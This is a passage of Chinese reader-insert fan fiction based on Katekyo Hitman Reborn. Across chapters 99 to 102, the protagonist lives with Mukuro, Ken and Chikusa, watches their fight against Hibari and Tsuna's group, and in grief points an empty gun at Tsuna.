恰好,他们三个都是不同的性格,春也不会腻的。 默默把一系列课外知识提上日程,喉结微滚,柿本千种不动声色垂下眼眸。 如果是春也的话,无论什么,他都可以接受,就算你想和家人一起,他也不会责怪你。春也是不会有错的,更何况,你只是想和家人在一起而已,你又不是想要天上的星星。 城岛犬…城岛犬脸红得快要冒烟了,他已经完全说不出话来了。 六道骸没有发表任何意见。 你模模糊糊地感觉有哪里不对,“但是,家人是无法成为爱人的啊。” “为什么不可以?” 有谁在说话,你下意识抬头,却只能望见六道骸和柿本千种弯起的嘴角,他们低声呢喃着,似诱哄,“家人就是爱人啊。” “你不爱我们吗,春也?” “我当然爱着你们。” “那就对了。” 柿本千种轻笑,像是击倒骆驼的最后一棵稻草,“我们也是如此爱着你,春也。” 但你又产生了新的疑问,“可我不想和你们关系疏离,如果成了爱人关系,那么对另外两个家人的关系肯定不会有爱人那么亲密了。” 柿本千种:“不,我们是不一样的。” 但是哪里不一样,柿本千种没有说,可你知道自那天后,家人之间原本平静安详的氛围被打破了,取而代之的是一股黏腻潮湿的视线锁定了你。 而你沉浸在家人之间愈发甜腻新奇的感情变化里,没有在意这股视线。 ——只要是家人的视线,那就是安全的,是可以不用警惕的,是能放心依靠的。 第99章 最近这几天, 你们暂时先在黑曜乐园安了家。本来六道骸打算一越狱就试探彭格列新任继承人的深浅,但临时找的黑曜乐园实在太过简陋,和他最初给你安置的房子比起来, 差太多了。 比起夺取身体毁掉黑手党, 显然, 眼前还有更重要的事情要做。 ——装修黑曜乐园。 你坐在新买的沙发上, 短短几天,在城岛犬和柿本千种超强的动手能力下, 搭配六道骸的无敌幻术, 黑曜乐园彻底变了个样。 你宛若没有骨头般仰躺在沙发,脚尖用力, 瞬间,你整个人像条滑不溜秋的活鱼丝滑从沙发上滑下,啪叽一声,你摔到了厚厚的毛毯上。 六道骸端着一盘荔枝走过来时,看到的就是你丝滑连摔的场面。 “哦呀哦呀, 今天又是什么新的表演?咸鱼翻车?” 你一本正经:“也可能是鲤鱼跃龙门。” “kufufufu…摔死的鲤鱼也能跃龙门,真是厉害呢。” 论阴阳怪气, 六道骸排第二, 没人敢称第一。 你撇撇嘴不说话了,六道骸挑眉走近,装着荔枝的陶瓷盘碰到玻璃桌面,发出一声脆响,他弯腰看你倒在地毯上扮演生气的鱼尸,六道骸的眼里闪过一丝微末的笑意。 双手穿过你的胳膊,六道骸像提溜猫狗一样轻松提溜起你。和子也凑热闹式的竖起尾巴小跑过来,家里难得这么热闹, 这几天和子的精神也异常亢奋。 六道骸奖励式地揉揉你的脑袋,“哦呀,鲤鱼跃成功了。” 你随意坐在地毯上,一把撸起路过的小猫咪,你狠狠埋进它软乎乎的肚子里吸了好几口,直把和子蹭的炸毛,你才放开了罪恶的禁锢。装作没听到六道骸的夸小孩般的口味,你望着新装修好的黑曜乐园,疑惑问道:“我们不回并盛那个家了吗?” “回,但不是现在。”六道骸悠悠在你旁边坐下,大手捏起你的腰肢往上一提,他极其自然地把你放到了自己怀里。下巴搁在你的脑袋上,六道骸就着这个姿势打开电视开始剥荔枝。 “那个据点被彭格列那群人知道了,等我们的计划开始实施,就不再安全。” 你放松身体往后靠,还未修剪过的靛青色半长发懒洋洋垂落在你耳畔,靛青和黑色交织缠绕,一时间你险些以为自己挑染了新的发色。 电视里播放着欢快的卡通片,你听着幼稚可爱的音效,慢吞吞低下脑袋想要抓一个荔枝剥,下一秒,一只新鲜剥好的荔枝送到了你的嘴边。 ——是六道骸。 清瘦的手指骨节分明,微微泛红的指尖捏起淡白的果肉,衬得他肤色更加苍白。你刚一张嘴,六道骸仿佛有感应般,中指稍一用力,白嫩的果肉便送入了你嘴中。 慵懒富有磁性的声音悠悠从头顶传来,六道骸开始剥下一个荔枝,“味道如何?” “还不错。”有人服务,你弯起眼睛,不要钱的甜话一串接一串往外冒,“骸骸剥的荔枝就是甜!” 背部传来轻微的震动感,是六道骸在笑,他漫不经心开口:“你倒是会享受呢。” “骸大人,春也,我们回来了——” 你和六道骸说话的间隙,外出购物的城岛犬和柿本千种也回来了。人还没到跟前呢,你就先听到了犬的声音。塑料袋摩擦的声音惹得你好奇探出脑袋,六道骸的下巴顺势搁至你颈窝,呼出的热气清清浅浅落在耳畔,不知名的痒意令你下意识缩了缩脖子。 你忍不住抬手想要推开他的脑袋,后者立马捏住你不听话的手,苍白的手轻而易举就圈住了你的手腕,六道骸的大拇指不轻不重摩挲着你的手腕内侧,你感觉六道骸轻轻在你脉搏处按了按,似是在聆听你的心跳声。 六道骸语调散漫:“躲什么?” 你小声嘟囔:“痒啦。” 你的抱怨反而激起了六道骸奇怪的兴趣,他松开了你的手,转而捏起你的下巴,手指缓慢下移,他轻轻掐着你的脖子,“哦?哪里痒?” “这里吗?还是……这里?” 也不知是不是在监狱呆久了,六道骸身上莫名多了分常人没有的阴冷感,此刻,比你温度还要低的手轻飘飘又漫不经心点过你的下巴、脖颈、锁骨……冰凉的触感激得你起了一身鸡皮疙瘩,如雾一般虚无缥缈的笑声始终在你耳畔回荡着,你根本无处逃离。 “kufufufufu…习惯就好了。”六道骸意味不明地说道,“未来,春也还得习惯很多呢。” 你像苦瓜一样皱巴起精致的脸蛋,张嘴咬下骸骸剥好的又一颗荔枝,你苦恼地叹了口气。总感觉现在有点跟不上小伙伴的脑回路啊。 “今天没做饭,随便吃点饭团便当吧,我们买了很多零食。” 在你们交谈间,城岛犬和柿本千种拎着一大推塑料袋往你们面前一放,然后一左一右熟练坐在六道骸两侧。 六道骸越狱后习惯性像抱着大型毛绒玩具一样抱着你,就像当初的城岛犬和柿本千种控制不住与你贴近,你甚至觉得自己是什么行走的猫薄荷,抱一抱就能让人放松的那种。 “滋啦” 城岛犬单手拿起一包零食用嘴撕开,仰起脖子咕噜噜往嘴边里灌着零食,城岛犬鼓起腮帮大口大口地咀嚼食物。等好不容易把食物全部咽下,城岛犬这才开口:“明天我们就开始行动,山本武那家伙是我的猎物,小柿你不要抢。” “吸溜——本大爷早就看他不爽了!” 柿本千种:“我的目标是狱寺隼人,我对你的猎物没兴趣。” 六道骸的注意力从电视里挪开,他眯起眼睛,“只可惜沢田纲吉家里有里包恩在,不然和他相关的任何一个人我都不会放过呢。” 显而易见的弱点就是夜空里最明亮的靶子,而愤怒又会蒙蔽人的感知。 至于—— “里包恩……” 意味不明念着世界第一杀手的名字,六道骸漫不经心撕开荔枝表皮,稍微有点棘手。不过排名风太也来到了并盛,哼哼。 六道骸:“我出去一趟,很快回来。” 说着,六道骸的身形开始变幻,而后渐渐化为一团雾消失在了你身后。 “kufufufu…等我回来,春也。” 六道骸一走,城岛犬和柿本千种相当自然地往你身边一靠。盘子里的荔枝不知何时全都剥完了,你随手捏起一个放在嘴里,含糊不清地问道:“吃饭的时间,骸骸又要去哪里?” 这两天六道骸忙得不行,每次都会化成雾匆匆消失,然后又化成雾匆匆出现。刚从监狱出来,六道骸对外界的很多消息都不够清楚,哪怕柿本千种和他说过很多,但对六道骸来说,那些情报还远远不够。 六道骸习惯掌控一切未知。 柿本千种倒是能猜到几分,“骸大人大概是去找排名风太了。” 现在他们最大的优势就是里包恩不够了解他们的情报。 说是很快,但直到傍晚六道骸人才出现,与此同时,他的身边还多了一个人,或者说是小孩。你好奇走过去,蹲下身捏了捏小孩没什么表情的脸蛋,你仰起脑袋看六道骸:“他就是排名风太吗?” 六道骸:“嗯,这家伙已经被我控制住了。” 城岛犬:“春也要是有想知道都可以问他,排名风太可是什么都能排名的,无论是哪家面馆最好吃,还是哪个黑手党家族的势力范围……只要你想,全世界的情报都可以获得。” 柿本千种慢吞吞补充:“这家伙在黑市上的悬赏也挺高的,一直是黑手党疯狂追杀和黑手党最想要拥有的对象。” “这么小的孩子啊。”你捏着风太没什么肉的的小脸蛋,感叹道:“果然还是黑手党不做人啊。不过骸骸需要排名什么啊?” 六道骸不动声色控制着风太离开你的视线范围,自然拉过你还想揉捏风太的手,他牵着你坐到沙发上休息,微凉的手熟练覆上你软乎乎的小腹,在你看不到的视角,六道骸淡淡给了柿本千种和城岛犬一个眼神,后者心领神会跟上了风太。 “给并盛的实力做个排名,然后犬和千种按照给出的排名名单一个一个打上去。”捏起你的一缕发丝,六道骸眸色幽暗,“至于我会看看排名第一到底是个什么样的实力,可别让人笑掉了大牙。” “云雀恭弥。” 六道骸忽然从你嘴里听到了一个名字。 “哦~那就是并盛的排名第一吗?” “大概是,我只听沢田和山本简单提过几嘴,不过我并没有真正见到云雀恭弥几次。”想起那个总是把外套当披风的风纪委员长,你漫不经心垂下眼睛。 那可是第一个真正意义上直面你容貌却没有产生任何动摇的危险人物,看到他的第一眼,你脑海中的雷达就一直在响,理所当然的,你遵从直觉刻意错开了他活动的时间。也因此,除开最初几次你没有完全摸清云雀恭弥动态后偶然碰过几次,等你完全摸清云雀恭弥的行踪后,你就再也没有和他碰上。 “他很危险。”你这样说道。 六道骸眯起眼睛,“哦呀,那我可真得看看呢。” 看看能被春也称赞危险的存在到底是个什么样子。 * 风太被你们安置在小房间,由犬和千种共同看管,六道骸则抱着你安然享受漫漫长夜,你完全有理由怀里骸骸是故意这么做的。 洗完澡,一切计划都随着深夜慢慢沉寂,六道骸超绝不经意踢掉了那些陪伴你的虚假玩偶,他正大光明霸占着整张床,等你上来时,他略微留出怀里的那点空隙,直到你主动躺下抱住他,六道骸才勉强舒展眉眼。 说实话,这确实是六道骸自出狱以来第一个安稳的觉。 几年下来,哪怕是在监狱,六道骸的身量依旧超出同龄人一大截,倒是你的身高这么多年依旧变化不大,也不知道是不是垃圾神明的祝福掺了水。 此刻,你窝在六道骸怀里,对方长手长脚完全桎梏住你,你莫名有股被牢笼攥紧的感受。艰难抽出手推了推他,六道骸这家伙居然还一脸无辜地看着你,像是不明白发生了什么。 “抱得太紧了啊!” “嗯?有吗?” 六道骸完全不觉得,他很喜欢像这样满满当当抱着你,空洞虚无的内心也只有在此刻才能被完全填满,脸颊蹭着你的脑袋,柔软的床铺上,靛青色和黑色交织,浑然成一体,昏暗的光线下,完全分不清到底是谁的发丝。 话是这么说,但六道骸还是诚实地松了点力道。你终于有了喘息的空间,本还想再说些什么,念在好不容易和骸骸团聚的份上,最终,你只是努力让自己适应这个窒息的怀抱。 伸长手臂抱住六道骸,你稍稍偏移脑袋,使目光落到他清瘦的脸蛋上,静静看了好一会儿,半晌,你缓缓抬手摸上他的脸,手指轻轻摩挲着他眼角,你看到那颗红色眼珠轻微转动,而后转向你。 “骸骸瘦了。” 刻意放低的声音在寂静的夜间显得格外明显,六道骸显然没料到你会这么说,他微妙愣了一秒,才漫不经心反驳:“kufufu…我可不是犬和千种。” 你莫名失落,“我错过了骸骸好多好多的成长轨迹。” 独自一个困在监狱里的时候,骸骸在想什么呢,明明好不容易从一个地狱逃离,却又跌入另一层困狱,这个世界总是如此不公。 “对不起,那段时间我没有和骸骸在一起。” 你的声音细弱蚊蚋,但六道骸还是听见了。他半敛下眸,长长的睫羽垂下,自然遮挡住他眼底的神色。 六道骸安静听你断断续续的说话,听你对他藏不住的心疼,听你抱怨着世界对他的不公,听你恶意满满地诅咒这个世界、诅咒黑手党、诅咒关押他和犬、千种的存在…… 微妙的愉悦感从心底漫出,细细麻麻的满足感如带刺的藤蔓一层一层缠紧他无法控制加速跳动的心脏,猩红的眼睛一眨不眨盯着你,六道骸近乎愉悦地喟叹。 ——春也,一直在注视他啊。 “kufufufu……”忽然,你感觉六道骸的胸膛处传来细微的震动感,而后那股震颤感越来越强烈。 “kufufufufufu哈哈哈哈哈……”六道骸第一次愉悦地大笑出声,他望着你茫然的神情,六道骸渐渐止住笑声,然后,在你担忧的目光下,他听到自己极端冷静地一条一条陈述自己身上判定的罪行。 “…小型黑手党家族…全灭…….中型…操控自相残杀……” 你不明白六道骸为什么突兀地说起这些,黑暗里,六道骸用幻术遮住了你的眼睛,于是,你只能听到他漫不经心咬着音节,一字一顿陈述在黑手党看来罪大恶极的行为。 直到虫鸣声消退,六道骸终于停止了陈述,房间再次归于寂静。 “为什么突然和我说这些?” “大概是忽然发现,春也对我们做的事情,产生的认知还不够明确呢。” “……我不是三岁的小孩子了。”你不满,态度一如既往的亲昵,“我一直明白的。” “骸,我们一直是共犯。” “从一起逃出那个地方开始,我们就无法摆脱彼此了。” 回应你的是一个裹挟着疯狂、完全的侵略性和阴冷黏稠血腥的吻。 第100章 第二天一早, 不出所料,三个人都不在黑曜乐园,除了 暂时没有个人意志的风太, 偌大的黑曜乐园里只有你一个人。 你撑着下巴观察在场唯一的活人, 风太乖巧抱着有他人那么大的书坐在小板凳上, 暗沉灰暗的眼睛没有亮光, 你不和他搭话时,他就静静坐在那一动不动, 仿佛一尊雕塑。 “真无聊啊。” 你有点想出去找犬和千种了, 骸骸的踪迹一向难以猜测,但直觉告诉你, 他去找云雀恭弥了。想起那个少年 ,你莫名有些烦躁。 也不知道骸骸和并盛委员王谁更厉害些,你当然希望是骸骸。 昨天的零食还没有吃完,你打开冰箱拿起饭团热了热,裹着海苔和鸡腿肉的饭团香喷喷的, 咬一口还会爆出蜜汁。缓慢吞咽着,忽然, 外边传来奇怪的声响, 你捧着饭团警惕地走了出去。 “kufufu…你真是讲了个好笑话,并盛当然不会出现两个统治者。” 你走出去的时候,恰好听到六道骸在阴阳怪气,然后就是一阵激烈的打斗声。漫天的樱花飞舞,明艳的红照亮了整片昏暗的空间,纷纷扬扬的樱花瓣像冬日初雪,洋洋洒洒落到你身上。你缓缓倚着墙咽下最后一口饭团,胜负已分。 ——六道骸大获全胜。 两个人的听力都称得上优异, 你的到来早就引起了他们的注意,只不过他们互相沉浸在打斗中,暂时腾不出时间看你。现在,六道骸站在倒下的云雀恭弥身前,他扭过头,笑容轻佻散漫,看到是你,他表情有一瞬间的僵住,但很快,六道骸及时调整过来。 “怎么出来了?” 自昨天那个突兀的吻后,六道骸对你的态度再次变得微妙的不可捉摸起来。 “我听到声音,担心这里被入侵了。” 六道骸静静站在那儿,唇畔勾起一抹不甚明显的弧度,他漫不经心收起叉在云雀恭弥身上的三叉戟,“可不是什么阿猫阿狗都能勘破我的幻术呢。” 早在出发前,他就给黑曜乐园上了好几层幻术buff。 清脆的脚步声缓缓在这片空间响起,你来到云雀恭弥身前,惊奇地看他难得狼狈的模样,你的心里诡异涌上一股愉悦感。云雀恭弥还没失去意识,他只是暂时失去了行动能力,略有些气闷地掀起眼皮,看清你的模样后,云雀恭弥眯起眼睛,显然,他认出了你。 云雀恭弥:“……你和他们是一起的。” 云雀恭弥没什么情绪地陈述事实,你顺势蹲下身看他。干净的白衬衫沾染了泥尘,鲜红的血液渗透白色,莫名显出几分凌虐美。云雀恭弥狼狈极了,他甚至腾不出力气爬起站直身体,血污和伤痕细细密密覆盖他的全身,你微妙地扶开他眼睛前的凌乱发丝,而后,一双通亮泛着寒光的灰蓝凤眼直直闯入你的心脏。 “草食动物。”云雀恭弥似不屑,但他那副表情分明是在说“我记住你了”。 ……最不妙的后果,但是—— 看着云雀恭弥如今的模样,你实在难以对他升起像样的警惕心。 你漫不经心戳了下他的伤口,眼看刚刚还能放狠话的云雀恭弥从喉间漫出一声闷哼,你笑容恶劣:“你还是先操心下自己吧,云·雀·委·员·长——” 最后五个字被你慢悠悠拖长,听在云雀恭弥耳里,格外显得拉仇恨。他没在说话,别过脸积攒力气。 云雀恭弥知道你,并盛唯一拥有随机上学特权的学生,看在校长苦口婆心、锲而不舍地追着他解释,云雀恭弥收起浮萍拐和校长的保护费后勉强选择忽略你。 ——只要别被他碰见。 你似乎也察觉到什么,除开最初无意碰见你,云雀恭弥后来几乎没怎么看到过你的踪迹,想来你是摸清了他所有路线和行程。想起你翘课追逐那只黑色小猫的场景,云雀恭弥漫不经心挠了挠小猫的下巴。灰蓝色的眼睛倒映着黑猫撒娇打滚的模样,云雀恭弥轻哼一声。倒是和它主人乖张不驯的性格截然相反。 不过他万万没想到,一向躲着他的草食动物居然也会亮出爪子咬人。云雀恭弥合理猜测,你被六道骸威胁了,或者,这才是你的本性也说不定。 你也没坏到想要一直虐待云雀恭弥,戳了几下他的伤口,眼见他没再给出特别的反应,你撇了撇嘴,无趣地收回手。 六道骸静静观望着,也不知是在想什么,直到看到你好奇凑近云雀恭弥戳了又戳,六道骸总算有了反应,三叉戟叉住你的衣领,他提溜起你,六道骸神态自若地伸手揽住你的腰肢,他声线慵懒,“区区手下败将而已,碰了他也不怕把你的好运粘走了。” 六道骸知道你最喜欢好运财气之类的观点,他直击你命脉,你皱起鼻子立马后退两步,六道骸站在原地没有移动,他的手牢牢箍着你的腰,这一退,你彻底陷入了他的怀抱,和你同款沐浴露的清甜菠萝香从他身上传来,你下意识抬头,恰好对上那双幽深诡谲的异瞳。 柔软的发丝似有若无蹭着你的脸颊,你眨了下眼,不知怎么,视线微妙下移,你正好看到他略微弯起的唇角,微微泛红的唇色隐约透着薄凉,在他说话时,绯红的舌尖偶尔一闪而过,莫名透着涩气。 你诡异回忆起了昨日潮湿的夜晚。 视线宛若被烫到一般,你立马装作什么都没发生收回目光,六道骸若有所思盯着你奇怪的反应,注意到你刚刚看的位置,他唇角的弧度缓慢加深。 甩了甩脑袋,你快速把这个插曲忘到脑后,转而苦恼地盯着地上的云雀恭弥。 黑曜乐园喜提二号“尸体”,你鼓起腮帮子抱怨家里进了陌生人,拖长的尾音不像埋怨,倒像是在撒娇,“他们还要在这里呆多久啊。” “放心,不会太久。” 六道骸漫不经心说着话,眼珠微动,漂亮的异瞳幽幽倒映着你的身影,他专心听你小声的埋怨,六道骸好心情地牵着你往装修好的家里走去。 “等犬和千种回来,我们的计划也可以进行最后一步了。” 当然,首先要申明一点,行动组的人不单单只有六道骸、城岛犬和柿本千种三个人,六道骸还召集了其他人,其中就包括曾被六道骸控制着犯下无可饶恕罪恶的兰兹。不过六道骸可没有让那群人见你的想法,他只简单和你提了一嘴他们,顺便还说了点点弱点。 你并不关心那群人,你只是在等待犬和千种回家。本以为这次他们也会很快回来,没想到直至天将黑,犬和千种都还没出现。 真是奇怪,山本和狱寺的实力有那么强的吗?你抿紧嘴巴开始回忆,但奈何浅淡的记忆里除了狱寺打败过几个弱小的敌人和山本在棒球场上热烈肆意挥棒时落下的汗珠,你脑海中完全没有任何有关他们打架的记忆。 正当你忍不住想要出门查看时,犬和千种回来了。与此同时,他们的身后还跟了几条隐藏极深的小尾巴。 六道骸敏锐感知到什么,不希望打斗起来会波及到你,六道骸重新给装修好的地盘叠加幻术稳固。 “春也乖乖呆在这里等我。”六道骸拿起三叉戟站直身体,他扭过头,目光幽深地看向你,“kufufu…我会很快回来的。” 你的心里莫名升起不安的预感,但是想到沢田纲吉平时软弱又体能废的模样,你勉勉强强安心了些。小心翼翼坐在六道骸准备的最佳观众席上,你暗戳戳开始观察底下场景。 “柿本千种,城岛犬……还有春也提到过的六道骸!” 伴着一道不可置信的声音,沢田纲吉出现了。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 100-110 第101章 在今天以前, 沢田纲吉从未想过引发并盛动荡不安的会是自己认识的人。 第一个被攻击的是狱寺隼人,他没见过柿本千种,沢田纲吉错过了得知真相的机会。第二个被攻击的是山本武, 凶手是他见过的人——城岛犬。 诚然, 沢田纲吉和他们只是见过一面的关系, 甚至还说不上友善, 但沢田纲吉完全不能理解他们会什么要攻击那些无辜的人,甚至攻击他的朋友。 再怎么说, 这种事情也是无法原谅的!但是, 果然,沢田纲吉还是想要搞清楚真相, 沢田纲吉眼神坚定。尤其是想到你被他们隐瞒在鼓里,沢田纲吉完全不敢相信你会有什么样的反应。他下意识忽略了你也是他们中一员的可能性。 没能从城岛犬和柿本千种口中得到有效消息,沢田纲吉第一次大胆做了个决定——他要跟踪这两个人。里包恩意外挑眉,他乐见其成。 之后的事就很明确了,跟踪肇事人员, 发现罪魁祸首,沢田纲吉定睛一看, 全是他认识的——除了只存在于春也口中从未露面过的六道骸。 现在沢田纲吉知道为什么六道骸从未露面过了, 也知道为什么从前没有见过你的家人了,敢情他们一直在狱里啊! 怒火和不解困惑从心底涌出,沢田纲吉大声质问:“你们为什么要这么做?!” 甚至沢田纲吉还在这里看到了消失的风太。碧洋琪上前想要带走他,毫无防备,她被风太突然伸出的迷你三叉戟扎了一下,沢田纲吉立马担忧地跑上前。 沢田纲吉:“如果…如果春也知道你们的做法……” 听到这句质问,六道骸原本的悠然消失了,唇畔扬起的弧度讥诮薄凉, 视线短暂落在受伤的犬和千种身上,没等他说完,六道骸就冷笑着打断了沢田纲吉的话:“kufufu…不要说得好像和我们很熟一样。” 在他们说话的间隙,城岛犬换上新的齿模卡匣——切换,狮子形态! 喉间发出野兽般的威胁低吼声,城岛犬笑得恶意满满,“春也可是我们最亲密的家人,她当然知道,倒是你,怕是还不知道春也最厌恶的就是黑手党吧。” 沢田纲吉瞳孔地震:什么?! 眼见城岛犬即将扑上来攻击,还带伤的狱寺隼人瞬间掏出炸药,嘴角咧起冷酷的笑容,狱寺隼人拦截了城岛犬:“你的对手可是我啊!” 不过,春也这个名字……狱寺隼人微不可察皱眉,会是你吗? 柿本千种的视线对上山本武,既然狱寺隼人成了城岛犬的猎物,那么山本武就交给他对付吧。结实锋利的细线缠在苍白的手指,掌心捏着溜溜球,柿本千种下手利落干脆。 “牙白,好危险啊。”山本武避过一击,眼底的笑意逐渐消失,举起竹刀,手腕一动,竹刀顺势翻转,刀背温和又不失凌厉地对准敌人,山本武神情严肃认真,“这下可不能大意了啊。” 与此同时,六道骸也举起三叉戟,“kufufu…彭格列第十代,你的身体就由我接下了。” “哦,是吗?” 墙垣崩塌,巨大的轰响惹得众人纷纷留出一分心神关注,六道骸扭头,云雀恭弥裹挟着浓浓尘土站在坍圮的墙壁前,嘴角勾起一抹血腥凌厉的弧度,浮萍拐横在身前,他咬着字音,一句一顿说道:“你的对手是我。” 话音刚落,云雀恭弥就冲了上去,尽管身上带伤,但云雀恭弥脸上丝毫不见痛意和疲惫,相反,他的攻击一如既往的迅猛。 六道骸轻松躲避,“我倒是小瞧了你,伤成这样还有力气动。” 沢田纲吉这才注意到云雀恭弥身上满是血污的痕迹,他担忧地看着大家打斗起来,沢田纲吉无措想要阻止,但打上头了的几个人根本没有留意到他的表情。 你就趴在栏杆口观察地下愈发激烈的环境,里包恩似乎有所察觉,他抬头搜寻了一圈,目光隐隐在你的位置停留一秒,没能发现什么,里包恩不动声色移开目光。 不得不说,里包恩漆黑幽深的大眼睛还是很有压迫力的,不过见他没有发现你,你又莫名得意起骸骸的实力,哼,什么第一杀手和彭格列,也不过如此嘛。 看着胜负明显的打斗,果然,不出你所料,敌方全都受伤倒地,但是犬和千种也伤的不清,你看到他们已经站不稳,全都瘫倒在地了。 望着所有人凄惨的模样,轻松的情绪很快消失,克制着想要下场的欲望,你忧心忡忡地望向犬和千种。这么严重的伤得尽快治疗,骸骸什么时候才能解决完啊。 像是回应你的期待,很快,场面已经进展到六道骸操控所有受伤的人攻击沢田纲吉。看到这一幕,你不自觉抿紧嘴,尖锐的指甲无意识陷入肉里,忽然,你发现沢田纲吉脑袋上突兀冒出耀眼的橙色火焰,他以前所未有的冷静口吻认真宣布:“已经够了,我绝不会让你再伤害我的同伴!” 他这样说着,双手握拳,沢田纲吉的眼睛好似染上了层璀璨夺目的太阳光,神情隐约透出几分悲悯,他眉头紧皱,宛若祈祷般,沢田纲吉丝毫不手软地挥出了第一个拳头。 “那就——由我来打倒你!” 那一刻,你说不清自己心里究竟是什么心情,等到你回过神,你看到的就是拳头裹挟着耀眼的火焰狠狠把六道骸砸入墙壁的场景。生生不息的火焰就好像沢田纲吉本人的意志,永远不会熄灭。 等等—— 骸骸!! 你大惊失色,再也无法等待结果,你仓促匆忙地跑了下去。伴着你踏出的第一步,六道骸布置的幻境消失,你就这样惊慌失措地映入众人眼帘。沢田纲吉神情微愣,火焰渐渐熄灭,他还没来得及和你说话,就看到你奔向被他砸入墙壁的六道骸。 你的眼里只倒映着六道骸的身影,甚至完全忽略了周围人的存在。 “骸骸!!” 跑的太急,一个不稳,你狠狠跌跪在他身前,手指颤抖地触碰六道骸还有些茫然的表情,你莫名觉得骸骸的灵魂像是被那团耀眼的火焰洗涤过一般,连同往日幽暗阴冷的眼神都变得纯粹干净起来。 你的心底隐隐浮起相当不妙的预感。 “骸,你有没有事!” 六道骸没有回话,他缓缓闭上眼睛,陷入了昏迷。你小心翼翼试探他的鼻息,确认人还活着,你腿软地松了口气。 没了死气弹的效果,沢田纲吉又恢复成往日温软的兔子形象,犹豫间,沢田纲吉叫了你的名字,“春也,六道骸他……” 你丝毫没管身后的沢田纲吉,你又跑去查看犬和千种的状态,之前打斗过程里他们本就受了伤,之后又带伤打斗、被六道骸控制着毫无顾忌的打斗,犬和千种身上的伤前所未有的严重,你颤抖地摸上他们身上的伤口,血液顺着你的指尖流淌,不一会儿,你的手上沾满了他们的鲜血。 ……这是你们的第一次败绩。 像是再也忍耐不住,豆大的泪珠颗颗分明,控制不住地从眼眶掉落。深陷艾斯托拉捏欧家族的时候你没哭,成功毁掉噩梦的时候你没哭,被六道骸他们独自留在并盛的时候你没哭,但是,看到犬、千种和骸骸这么严重的伤口时,隐忍的情绪终于破了个小口子,所有的苦痛和委屈再也控制不住般倾涌而出。 你想到你狭小但令人安心的出租屋;你想到你结束了漫长的高中三年,即将迎来全新的未来和希望;你想到你终于长大可以自由选择自己的人生…… 而后,一场意外将你打入异世界。 沢田纲吉手足无措地想要安慰,他小心翼翼触碰上你的肩膀,“春也,最近你没来上学所以不知道,六道骸他们……” 现在不是伤感的时候,你吸了吸鼻子,努力咽下所有眼泪,你强迫自己恢复冷静。一把拍开沢田纲吉的手,你艰难把犬和千种跟骸骸放在一起,站起身,你从口袋里掏出枪,擦干眼泪,你把枪口对准沢田纲吉。 骸骸、犬和千种都倒下了,现在只能靠你了。 被枪口指着,沢田纲吉身体莫名僵住,他顿住动作,不敢置信地抬眼看你。 “我都知道。” 沢田纲吉听到你冷漠开口,灰蓝色的眼里再也没了往日的笑意,沢田纲吉张了张嘴,不知道该说什么。 “他们是我的家人,我为什么会不知道他们的计划。” 黑手党—— 小时候扫黑除恶还未盛行时,你见过不少类似的存在,恶意暴力血腥组成了他们的底色,就算有过温和的好大哥,也抹不掉他们黑暗的底色。 哽咽着,你望着沢田纲吉,在场除了他和里包恩,全都处于倒地昏迷状态。 可你无法控制握枪的颤抖。 可沢田纲吉和那群不配称人的白色怪物不一样,他和那群人不一样,但他们又都有着相似的、让你生理性厌恶的共同点。 “彭格列十代目……阿纲其实是黑手党吧。” 沢田纲吉突兀地想起了你前两天问他的那个问题,那个时候,他还未卷入任何纷争,所以可以天真地否决自己的身份,可事实并不会随着他的意志而改变。 黑手党…… 你恨黑手党…… 无论是什么样的黑手党! 可为什么偏偏沢田纲吉会是那该死的黑手党?!明明他连考试都不及格、运动神经差劲到连你都看不过去,喜欢看漫画和梦想成为大机器人…… 为什么偏偏是这样的沢田纲吉,要是黑手党!! “我讨厌黑手党。” 从你来到这个世界你就一直在恨,恨为什么要有黑手党的存在,恨为什么要有实验,恨为什么偏偏最不幸的那个人是你…… “我最讨厌黑手党了。” 沢田纲吉听到你哽咽着,用力咬着字音,一句一顿缓慢说道。明明是像小孩子一样幼稚的话语,但沢田纲吉异常清楚你不是在耍脾气。总是懒洋洋的灰蓝色眼睛第一次迸发出旺盛的火焰,你恍然发现,原来仇恨的种子在你心里从未熄灭,只微风掠过,就能燃起熊熊大火。 沢田纲吉沉默着,他过去从未细想过黑手党的身份带给他的是什么,他总是像鸵鸟一样捂住眼睛堵住耳朵,任性地以为只要自己不情愿,说不定一切还会有转机,但是今天,沢田纲吉看到你眼底的痛楚和恨意后,他忽然明白自己无法再逃避了。 他不想再被命运裹挟着奔往他不想要的远方,他不想再如水流般随波逐流,他不想再让身边的朋友遇到悲伤痛苦的事情。 抬起脚,沢田纲吉开始朝你走近,他缓慢又坚定地握上你颤抖的双手,然后枪口用力对准自己的心脏。坚硬的枪口抵住他柔软的胸膛,隔着枪支,你恍若能感受到沢田纲吉心脏跳动的震颤感通过手·□□激你的手腕,而后携同你的脉搏一同抵达你的心脏。 有那么一瞬间,你险些握不住你的枪,但沢田纲吉稳稳托住了你的犹豫迟疑和细末的痛苦。 ……如果春也注定痛苦,那么就由他来承担这份罪孽。 此时此刻,沢田纲吉忽然就明白他真正想要的是什么了。他想要的,一直都是自由决定自己的人生,然后和朋友一起度过最平凡不过的四季。只是可惜,他还没有完成你剩下的三个愿望呢,这样的话,他和你还算不算朋友呢。 暖棕色的眼睛一眨不眨注视着你,你抬起头,沢田纲吉和平常一样弯了弯眼睛。 “那你要杀了我吗,春也。” 沢田纲吉这样说着,温暖干燥的大手包裹着你冰冷颤抖的手,他的嗓音简直温和到不可思议。 “抱歉,我不知道春也过去经历了什么,也不明白你为什么会这么憎恶黑手党。不过黑手党确实不会有人喜欢啦。说实话,第一次从里包恩嘴里得知我居然有着那样罪恶可怕的身份时,我也吓了一大跳。” 真是不可思议,沢田纲吉完全不像受到威胁,连一旁的里包恩都没有插手眼前堪称诡异的场景。你感觉自己好像回到了那个平常的午后,沢田纲吉拉着你一起躺在庭院外的秋千上,然后快活又轻松地和你谈着好朋友之间的知心话。 “就算只是单纯地想对我发泄也没关系,毕竟我现在也成了罪不可恕的黑手党。” 你眼眶湿润地看着他,沢田纲吉的食指轻轻带动你的食指扣上板机,他望着你眼中自己的倒影,沢田纲吉露出了一个温柔到让人落泪的笑容,“我不会责怪春也。” “咔” 温暖的指腹用力,而后缓缓叩响了板机。 第102章 板机叩响, 沢田纲吉还活着。 ——枪里的子弹早在之前被你用完了,只是很久没拿枪的你忘了这件事。 沢田纲吉怔愣半秒,“空枪……” 但是你也确确实实按下了板机, 尽管是在沢田纲吉的助力下。 “咳…不准——你们伤害春也!” 忽然, 